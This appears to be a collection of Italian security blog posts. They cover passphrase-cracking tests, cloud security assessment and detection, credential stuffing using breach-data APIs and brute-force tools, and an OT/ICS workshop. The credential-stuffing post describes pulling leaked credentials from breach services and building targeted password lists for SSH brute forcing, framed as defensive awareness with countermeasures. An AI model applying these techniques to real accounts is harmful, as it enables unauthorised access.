Oltre alla definizione dei singoli strumenti per eseguire le azioni offensive l’obiettivo di questa prima fase è quello di costruire i tools da eseguire rapidamente sul sistema su cui si ha la possibilità di accedere fisicamente. Per verificare l’efficienza dell’operazione l’azione verrà cronometrata.

Il base ai risultati della prima fase, che in parte potremo discutere nella prossima live del 28 aprile, valuteremo le attività della seconda fase in cui coinvolgeremo il sistema c&c.

hacking

Password policies e resistenza agli attacchi

Un post di riflessione in merito ai corretti (a mio parere) spunti che Paolo Perego propone in questo sui articolo. Non ripeto quello che ha scritto Paolo, leggetelo e valutate voi stessi, il suo post merita. Parto direttamente dalle sue conclusioni: dove sta la debolezza di una passphrase rispetto ad una password complessa?

Provo ad affrontare il tema dal punto di vista dell’attacker che ha ovviamente l’obiettivo di eseguire il cracking di un accesso ad un sistema o ad una applicazione. Nel post di Paolo si fa riferimento al contesto dei portali e siti web ma il tema della verifica della robustezza prescinde il contesto. Per procedere quindi con le specifiche prove utilizzo un piccolo lab composto dalla solita kali (per comodità) che farà sia da base offensiva che da target con un utente “test” per il quale ho configurato un semplice accesso SSH. Come password utilizzeremo quella proposta da Paolo: “Il colore della mia stanza è blu”.

Wordlist

Partiamo dalle basi dell’attacco ad una credenziale: il brute forcing utilizzando un elenco di parole predefinite. In questo caso i tipici dizionari presenti nei diversi tools (kali compresa) riportano tipicamente un elenco di parole, non di frasi. Una wordlist classica sarebbe quindi poco efficace verso una passphrase salvo la creazione di diverse combinazioni di words obiettivamente molto onerosa da costruire in termini di tempi di generazione e volumi di dati. Escluderei quindi questa tecnica tra quelle efficaci.

Generazione di credenziali

E’ probabilmente più funzionale tentare di generare una credenziale partendo da un dato che non ci è però dato sapere in anticipo, ovvero il fatto di essere di fronte ad una passphrase e non una password.

Se l’attacker partisse da questo assunto (cosa di per se non particolarmente realistica senza dati a supporto della tesi) potrebbe valutare l’utilizzo di varie combinazioni di parole comuni a formare una frase semplice da ricordare. Non mi stupirebbe scoprire che molti utenti, in questo scenario, potrebbero voler utilizzare delle citazioni famose o frasi che possano essere in qualche modo riferibili al sistema a cui si sta accedendo.

In tal senso un potenziale approccio potrebbe essere l’utilizzo di tools come cewl per creare una lista si parole partendo dal sito del target o da altri contenuti (es: racconti o testi comuni) per provare a costruire poi delle frasi.

Plausibile ma sicuramente non comodo e credo, anche in questo caso, poco efficace.

Un altro approccio, visto che le passphrase di base sono stringhe relativamente lunghe, è il brute force più tradizionale con calcolo delle varie combinazioni. Mettiamoci in un caso relativamente comodo dove la frase è tipicamente composta da caratteri alfabetici con degli spazi come separatori. Assumiamo anche di conoscere la lunghezza della passphrase del target, un metodo realistico in alcuni scenari di attacco è contare ad orecchio le digitazioni dell’utente. Nell’esempio di Paolo ci troviamo comunque davanti ad un frase di 32 caratteri.

Cosa succedere se proviamo a generare frasi di 32 caratteri alfabetici con crunch?

Non impossibile ma decisamente improbabile.

Crack degli hash

Qualche giorno fa ho parlato di credential stuffing. Supponiamo quindi che a causa di un Data Breach gli hash delle passphrase siano disponibili all’attacker. Ai nostalgici verrà subito in mente di utilizzare tools come John the Ripper ma di base le difficoltà saranno le stesse descritte nei precedenti due casi in quanto le tipiche modalità di utilizzo di questi tools prevedono l’impiego di wordlist o utilizzano funzioni di generazione di stringhe.

Le mie conclusioni

Ho voluto scrivere questo post per non rischiare di generare una “battaglia di opinioni”. Paolo ha proposto una riflessione corretta che ho voluto mettere alla prova con qualche esempio reale e ritengo che non vi siano motivazioni che rendano una passphrase meno sicura di una “strong password”… anzi in un certo senso la lunghezza gioca un ruolo a favore non banale.

cyber security, hacking

Cloud Security: assessment e detection [prima parte]

Quella che voglio fare è una prima riflessione ad “alta voce” su un tema che, per una serie di coincidenze, ho toccato in diverse occasioni negli ultimi giorni. Scrivo quindi di getto qualche pensiero e annoto pubblicamente qualche risorsa per dar seguito poi a qualche approfondimento.

Parto dallo scenario: molte aziende ed organizzazioni hanno spostato – e continuano a spostare – workload e dati in cloud sfruttando i vantaggi ed i servizi dei diversi provider ed in particolare dei tre big: AWS, Azure, GCP. Osservo due principali comportamenti: chi “sposta” ciò che fino a ieri gestiva con una Virtual Machine nella sua forma più simile, come una instance, e chi (a mio parere più saggiamente) approfitta dell’occasione per rivedere anche la forma dei propri workload e fa uso di containers, soluzioni as-a-Service per storage e basi dati, soluzioni/implementazioni serverless. Non è questa l’occasione per discutere di quale sia la strategia migliore per spostare i workload in cloud, parlatene con i vostri cloud architect che sapranno consigliarvi a dovere, il tema che voglio affrontare è come gestire la sicurezza dei dati e dei servizi una volta che li avete spostati… tema che sarebbe meglio affrontare prima di spostare i workload, giusto per non andare poi a mettere pezze.

Parto da qualche domanda che credo dovremmo porci:

  • Nella realizzazione del nuovo scenario sono state considerate le linee guida del provider in termini di sicurezza dei sistemi e dei dati? (Security by design)
  • Una volta spostati i dati ed i servizi, dobbiamo ancora preoccuparci di verificare l’esposizione a minacce? (Security Assessment e Security Test)
  • Come gestiamo la detection di eventuali attività sospette? Le procedure e gli strumenti che abbiamo implementato per i sistemi “on prem” sono ancora valide? E le competenze?
  • Come reagiamo ad eventuali incident? Abbiamo adeguato le procedure e le strategie di incident management? Ci siamo dotati di strumenti coerenti al nuovo assetto tecnologico?

Discutendo con qualche addetto ai lavori è emerso che non tutte le scelte fatte per i sistemi ospitati “tra le mura aziendali” conservino la loro validità una volta spostati e trasformati i workload. Inoltre capita frequentemente di approcciale la gestione di ciò che è in cloud adattando procedure storicamente applicate per i workload attivi presso i Data Center dell’organizzazione. E’ sicuramente vero che la gestione di alcuni aspetti va in delega al provider ma è altrettanto vero che la delega non piò essere totale: molte configurazioni degli ambienti restano a discrezione dell’organizzazione a partire dagli accessi ed i profili degli utenti, l’eventuale software che chiediamo di eseguire alle piattaforme cloud ha le stesse esigenze del software che facciamo girare all’interno del nostro (Virtual) Data Center, temi come la riservatezza e l’integrità dei dati restano in buona parte in carico al cliente della piattaforma. Per farla breve la sicurezza delle informazioni va gestita in ogni caso, cambiano probabilmente alcuni dettagli operativi ma le metodologie base non cambiano.

Ovviamente gli aspetti da considerare sono moltissimi, in questa prima riflessione volevo partire dagli argomenti che recentemente mi è capitato di affrontare: Assessment e Detection.

Security Assessment

Sul fronte dei security assessment l’esigenza è forse palese: probabilmente non ci si metterà ad eseguire scansioni delle vulnerabilità delle piattaforme cloud (o forse si, io un check lo farei comunque o quanto meno farei delle valutazioni di merito) ma indubbiamente ha senso verificare la coerenza delle configurazioni applicate in fase di attivazione dei servizi al fine di non esporre vulnerabilità logiche e by desing. Inoltre, come accennavo, è probabile che l’organizzazione debba utilizzare componenti software di terze parti o auto-prodotte all’interno della propria piattaforma cloud, questi elementi avranno le stesse esigenze di gestione e manutenzione di prima anche se sarà probabilmente un po’ più semplice agire mitigation e remediation grazie agli strumenti che i cloud provider stessi mettono a disposizione.

Nota a margine. Il tema degli strumenti di gestione o a supporto delle applicazioni in cloud non è banale, disporre di molte opzioni anche a livello di soluzioni di protection rapidamente implementabili è un indiscutibile vantaggio di gestione. Un esempio banale: un security test mette in evidenza una vulnerabilità software in una applicazione web per la quale non esiste una fix e si mitiga con una configurazione a livello di Web Application Firewall probabilmente già disponibile tra le funzionalità attivabili all’interno dell’ecosistema cloud.

Proviamo a ragionare sulla metodologia e per questa prima analisi restiamo sui classici: NIST, Security Testing and Assessment Methodologies. Il documento, che credo non abbia bisogno di presentazioni, illustra metodologia e fasi per un security assessment e ci ricorda le motivazioni per il quale ha senso condurre questo tipo di analisi:

  • Conferma se i sistemi sono stati opportunamente resi sicuri
  • Identifica eventuali requisiti di sicurezza dell’organizzazione non soddisfatti (*)
  • Soddisfa il requisito di eseguire una valutazione/misurazione periodica del sistema
  • Non sostituisce i controlli si di e la gestione della sicurezza dei sistemi

(*) Da notare che il framework parte da un assunto: che l’organizzazione abbia definito dei requisiti di sicurezza. Partiamo quindi da questo punto, abbiamo definito dei requisiti di sicurezza per ciò che stiamo implementando in cloud? Ci sono scelte e valutazioni che le organizzazione devono necessariamente eseguire in autonomia ma qualche spunto, se non sapete da dove partire, spesso viene dato proprio dai cloud provider.

Detection

Il secondo argomento parte da una domanda facile: come gestire il rilevamento dei security incident per un workload in cloud? Ovviamente rilevare l’icident è solo la scintilla di tutto ciò che riguarda poi la gestione dell’incident stesso, ma in questo momento restiamo solo sul tema della detection e, sempre per semplicità, restiamo ancora su NIST come riferimento.

A pagina 7 del documento “Framework for Improving Critical Infrastructure Cybersecurity” c’è una definizione abbastanza chiara:

NIST – Framework for Improving Critical Infrastructure Cybersecurity

Chiaramente la funzione di detection ha lo scopo di individuare eventuali eventi di interesse per la gestione della sicurezza dell’infrastruttura e dei dati da essa gestiti. Per gestire la detection dobbiamo quindi necessariamente accedere agli eventi che interessano i workload tenendo in considerazione il fatto che in molti casi non si parla più di Syslog e Windows Events. Le diverse piattaforme mettono infatti a disposizione in forme diverse gli eventi che interessano i vari servizi, di solito grazie a delle API che consentono di interrogare i sistemi oggetto di interesse.

Va anche considerato che strumenti che tipicamente vengono utilizzati dalle organizzazioni come SIEM e XDR devono disporre di opportune funzionalità per accedere a questo patrimonio di informazioni e devono anche sapere cosa farci con quei dati. Provo a chiarire il tema con un esempio: se il nostro SIEM deve analizzare i log provenienti da una istance o da un container probabilmente poco cambia rispetto a ciò che arrivava dalla virtual machine (sui container ci sarebbe di più da dire, eventualmente ne parlo in una live), ma se gli eventi sono prodotti dalla piattaforma che gestisce le nostre applicazioni in modalità serverless (es: procedure di integrazione, scripts di automazione) i nostri sistemi sono in grado di analizzare correttamente eventi di questo tipo?

Tecnologicamente è più che fattibile, è necessario tenere a mente che il passaggio di un workload in cloud richiede ancora che venga gestita la detection e che potremmo dover adeguare procedure e strumenti.

Best Practices

Nella maggior parte dei casi parliamo dei tre big player citati, ma in generale tutti i provider di servizi mettono a disposizione delle linee guida per affrontare diversi aspetti della sicurezza dei sistemi e dei dati all’interno dell’universo cloud.

In questa prima parte vorrei quindi dare un’occhiata a cosa suggeriscono a livello di best practices i tre provider di riferimento: AWS, Azure e GCP.

Inizio da AWS che aggrega in un pagina una serie di temi per i quali rimanda a diversi articoli e trainng: https://aws.amazon.com/it/architecture/security-identity-compliance/.

I titolo sono più che eloquenti. Il tema Identity e Access Management è evidentemente un argomento cruciale per una piattaforma cloud dove dovranno probabilmente accedere più utenti con credenziali di servizio per la gestione delle diverse componenti. E’ quindi opportuno proteggere opportunamente questo livello di accesso e profila correttamene gli utenti in modo da non dare privilegi elevati a chiunque.

AWS dedica inoltre uno spazio dedicato al tema della Detection dove cita una soluzione interna alla piattaforma – Security Hub – che consente di gestire alcune minacce (solitamente quelle più comuni) con delle azioni preimpostate (playbook); su questo elemento siamo già su un altro tema che in realtà ha un capitolo dedicato: le azioni di mitigation e remediation. Viene inoltre citata un’altra componente che dalla documentazione mi sembra più “core” per la funziona di detection che è GuardDuty.


Anche per Azure abbiamo a disposizione molta documentazione, devo dire tantissima ma anche molto sparsa. Ho trovato utile partire da un documento di sintesi con una top 10 di argomenti con i relativi rimandi alla documentazione dedicata: https://docs.microsoft.com/…/cloud-adoption-framework/secure/security-top-10.

Noto subito un certo allineamento di argomenti: anche Azure parte dal tema degli utenti suggerendo formazione specifica e ovviamente una corretta gestione delle profilazioni. Si fa quindi riferimento a role-base access control e identity and key management.

Su fronte della detection trovo un approccio interessante che titola “Integrate native threat detection”. In sintesi si parla di integrare le funzionalità di detection di Azure direttamente all’interno del proprio SIEM di riferimento. In questo caso si sta facendo riferimento, se comprendo bene, alle funzionalità di Microsoft Defender for Cloud, componente che vale quindi la pena di indagare meglio.


Anche per Google Cloud esiste una montagna di documentazione con una main page che raccoglie le best practice: https://cloud.google.com/security/best-practices. La struttura della documentazione di BigG è ovviamente differente rispetto ad Azure e AWS e anche in questo caso bisogna andare un po’ a caccia dei temi. Già nella main page li parla però di moltissimi aspetti tra cui il già citato tema dell’Access Management e un interessante documento che titola “Security best practice checklists”.

Sul tema Detection anche Google risponde con una propria soluzione: https://chronicle.security/. Di fatto un SIEM “cloud-native” (su questa denominazione potremmo discutere all’infinito) per le operazioni di detection and response.

Qualche conclusione non concludente

Come scrivevo l’obiettivo di questo primo post era far(mi/ci) un’idea come si stanno muovendo i big player sul fronte della gestione delle minacce in un contesto che varia rapidamente ed è sicuramente molto diverso da quello che le aziende tipicamente gestiscono internamente.

Partire dalla letteratura mi aiuta a organizzare le idee per andare poi a selezione gli argomenti da approfondire. Quindi per ora mi fermo qui e agli interessati lascio il link al mio canale Twitch dove questa sera – giovedì 14 aprile – alle 21:30 faccio una sessione di studio in cui leggiamo e chiacchieriamo a ruota libera su questo tema: https://www.twitch.tv/roccosicilia.

cyber security, hacking

La disponibilità di credenziali negli attacchi informatici

Anche in questo breve post resto sul tema della “recon” con un focus particolare: la ricerca e l’impiego di credenziali valide per l’attuazione di un attacco informatico. Tra le attività che l’attacker esegue, una volta mappate le tecnologie in uso dall’organizzazione terget ed i servizi esposti in rete pubblica (posta elettronica, accessi VPN, portali aziendali, ecc.), vi è la ricerca di credenziali valide per accedere ai servizi individuati.

E’ ovvio che conoscere una credenziale valida consentirebbe all’attacker di accedere a nuove informazioni se non direttamente alla rete target. E’ quindi assolutamente logico verificare se gli utenti dell’organizzazione siano già stati vittime di data breach con relativo furto di una credenziale.

A causa di una cattiva abitudine degli utenti capita ancora molto spesso che vengano utilizzare credenziali uguali o simili per accessi differenti (es: posta elettronica personale ed aziendale). Va considerato che le credenziali utilizzate in un contesto aziendale sono spesso dei veri e propri passepartout nominali che danno accesso a molte applicazioni e sistemi, compreso l’accesso VPN alla rete aziendale. Questa combinazione di fattori rende il fenomeno del “password reuse” una concreta minaccia per le organizzazioni in quanto l’attacker che entra in possesso di una credenziale proveniente da un qualsiasi data breach in cui sia stato coinvolto un membro dell’organizzazione target potrebbe trovarsi nelle condizioni di accedere a servizi dell’organizzazione stessa utilizzando la stessa identica credenziale o versioni simili di questa.

Facciamo un esempio banale. L’utente Mario Rossi utilizza come password una sequenza alfanumerica a cui aggiunge un progressivo nel passaggio da una piattaforma all’altra: asd23qwe!01, asd23qwe!02, asd23qwe!03, ecc. L’attacker che dovesse entrare in possesso di una delle password potrebbe tentare la generazione di diverse combinazioni da provare sulle varie piattaforme. Tools come crunch possono essere utilizzati per generare potenziali password utilizzando un set specifico di caratteri in modo da restringere il campo a quelli tipicamente utilizzati dalla vittima.

Esempio di generazione stringe con crunch

Il concetto è semplice: si ottiene un dizionario qualificato di password per uno specifico utente da passare poi a tools di brute forcing o a semplici scripts in grado di eseguire un test di accesso all’applicazione target. Metto a disposizione un piccolo esempio per eseguire il test in sequenza di un accesso via SSH dato un utente valido ed un dizionario di password: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/BruteForce. Chi ha familiarità con il mondo del pen-testing probabilmente conosce tools come Hydra, una semplice utility che può essere istruita per eseguire tentativi di accesso anche a webform sulla base di un dizionario predefinito.

L’assunto, come detto, è di disporre di un potenziale set di credenziali valide provenienti da data breach passati. Esistono diverse fonti, assolutamente legali ed utilizzate anche in contesti di difesa, da dove è possibile raccogliere informazioni in merito a passati data breach ed eventuali credenziali trafugate. Uno dei più noti è Have I Been Pwned dove è possibile verificare la presenza di una propria credenziale in un Data Breach e, accedendo alle API, è possibile anche consultare il contenuto dei dati relativi al breach, credenziali comprese. Altri due servizi molto interessanti a mio parere sono BreachDirectory e LeakCheck (quest’ultimo è un referral link).

Su BreachDirectory vorrei organizzare un approfondimento sfruttando il piano base di rapidapi.com che mi consente di fare un paio di prove utili a comprende quanto sia fin troppo facile accedere a questa tipologia di dati.

Semplicemente accedendo dalla homr del sito al link del menu “api” si viene rediretti alla dashboard di rapidapi da dove è possibile accedere alla struttura della API ed a diversi esempi di codice utilizzabile per creare un semplice script:

Tool di test delle API

Anche con competenze estremamente base in un qualsiasi linguaggio di scripting (rapidapi riporta esempi per decine di sintassi) è possibile costruire una request base per ricerche mirate o semplici automatismi per sfogliare le voci dei database a caccia di set di informazioni su più target.

Contromisure

Come accebbato tutto ha origine da un malcostume degli utenti, avendo quindi cura di utilizzare differenti credenziali per i diversi servizi a cui ci si registra la possibilità di essere vittime di credential struffing si riduce enormemente. Un altro ausilio è l’utilizzo di sistemi di autenticazione multi fattore così da non delegare alla segretezza della password la sicurezza degli accessi ai propri sistemi/servizi.

A somma di queste sane abitudini ed in considerazione del trend in crescita dei data breach potrebbe aver senso anche monitorare, tramite i servizi disponibili anche sui portali citati, la propria presenza nei database che aggregano tali informazioni.

Ho personalmente potuto osservare l’efficacia di tecniche come il credential stuffing e non è il caso di sottovalutare il fenomeno. In generale credo si sia tutti abbastanza concordi nel considerare i meccanismi di autenticazione basati sulla coppia user/password non particolarmente sicuri. È il caso di passare oltre.

cyber security, OT/IoT

OT / ICS Security Workshop

Scrivo questo post il giorno prima rispetto al workshop che si terrà il 17 marzo in collaborazione con Festo Academy ma lo pubblicherò solo qualche giorno dopo. In questa occasione vorrei riassumente alcune dei temi trattati durante la sessione assieme ad Andrea Dainese con il quale ho condiviso la conduzione.

Come da titolo il tema è la sicurezza (cyber) delle infrastrutture OT più comunemente denominate “reti di fabbrica” ma che di fatto sono qualcosa di più complesso di una infrastruttura di interconnessione tra sistemi industriali. Scopo della sessione è stato l’introduzione alle possibili minacce alle quali i sistemi industriali possono essere esposti e discutere alcune specificità che rendono questi sistemi potenzialmente più facili da aggredire.

Come accennato la sessione è stata presentata in condivisione con Andrea con il quale, a staffetta, ci siamo divisi gli argomenti. In questo post sintetizzo i temi da esposti: una introduzione, più volte argomentata anche in altri contesti, in relazione al modello di business del cyber crime con alcuni esempi “famosi” per essere stati particolarmente efficaci, seguita da una sessione dedicata ad alcune peculiarità tecniche e di gestione dei device OT/ICS che, se non correttamente presidiate, possono essere veicoli per alcune tipologie di attacchi.

Il modello di business del cyber crime

Ne ho parlato in moltissime occasioni e non mi voglio ripetere in questo post (qui uno degli articoli passati) quindi mi limito a ricordare che il cyber crime è a tutti gli effetti un business digitale, è l’estensione nel cyber spazio del crimine “tradizionale”, il suo scopo è fare quattrini. Il cyber crime non centra nulla con l’attivismo e tantomeno con l’hacking e gli hacker.

Alcune delle principali minacce in ambito OT

Andiamo dritti al centro della questione tecnico-operativa sui cui abbiamo presentato uno dei focus (non è l’unico ovviamente): l’accesso e la manutenzione remota dei devices OT. Le componenti informatiche di un impianto industriale sono molto frequentemente interconnesse alla rete locale (la rete di fabbrica) per dialogare tra loro e per consentire monitoraggio e manutenzione da parte del vendor.

Nel migliore dei casi il vendor ha pensato ad una soluzione per approcciare la gestione da remoto del device ma spesso si incontrano non poche difficoltà, o peculiarità, delle reti che ospitano tali dispositivi. In questo contesto, se non normato, avviene di tutto: dai dispositivi interconnessi ai quali viene concesso di accedere alla rete internet senza uno specifico blocco o controllo così da consentire al vendor un’accesso autonomo al device tramite VPN o tunneling, fino ad esporre il device direttamente alla rete pubblica.

E’ ovvio che in qualche modo il vendor deve poter accedere al disposizioni per garantirne la manutenzione ma tale esigenza deve essere opportunamente gestita. In generale si sconsiglia di adottare metodi di accesso remoto che non siano in qualche misura controllati/presidiati dall’amministratore della rete che deve poter attivare/disattivare il tunnel e registrare l’evento di accesso al device. A tal proposito tutto ciò che in qualche misura “aggira” i controlli imposti dall’amministratore (es: Modem LTE all’interno dei dispositivi) per quanto comodo non rappresenta una buona idea dal punto di vista della sicurezza dell’infrastruttura.

Opportuno è considerare anche l’affidabilità dei sistemi informatici del personale esterno che accede ai sistemi industriali: se un dispositivo compromesso si connette al nostro impianto esiste la seria possibilità che l’attacker sfrutti questa “connessione” per accedere all’infrastruttura oggetto di manutenzione.

Particolarmente interessante è constatare l’incredibile fiducia nel prossimo che si può trovare in chi ha deciso di esporre direttamente alla rete internet sistemi ICS…

C’è poco da dire: per pubblicare un sistema industriale serve una ragione valida e viste le attuali possibilità tecnologiche a me di ragioni valide non me ne vengono.

Ultimo spunto in questa mini-sessione è relativo all’accesso fisico ai sistemi che, per questioni legate alla longevità degli impianti industriali, spesso sono costituiti da componenti che utilizzano software anche molto datati e non aggiornabili. Questa peculiarità mantiene viva la possibilità di sfruttare debolezze non più presenti nei recenti sistemi operativi o gestibili facilmente con policies di sicurezza o protezioni software.

Diventa così relativamente semplice introdurre in una organizzazione un USB drive infetto in grado di compromettere sistemi non particolarmente protetti come è possibile (anche in contesti IT a dire il vero) utilizzare armi come le USB Rubber Ducky.

Dopo il webinar…

… ci sono un paio di aspetti che mi piacerebbe approfondire, in particolare gli scenari di accesso remoto e la discovery di impianti industriali tramite Shodan o altri strumenti di semplice accesso. Su questi temi aspettatevi una live dedicata.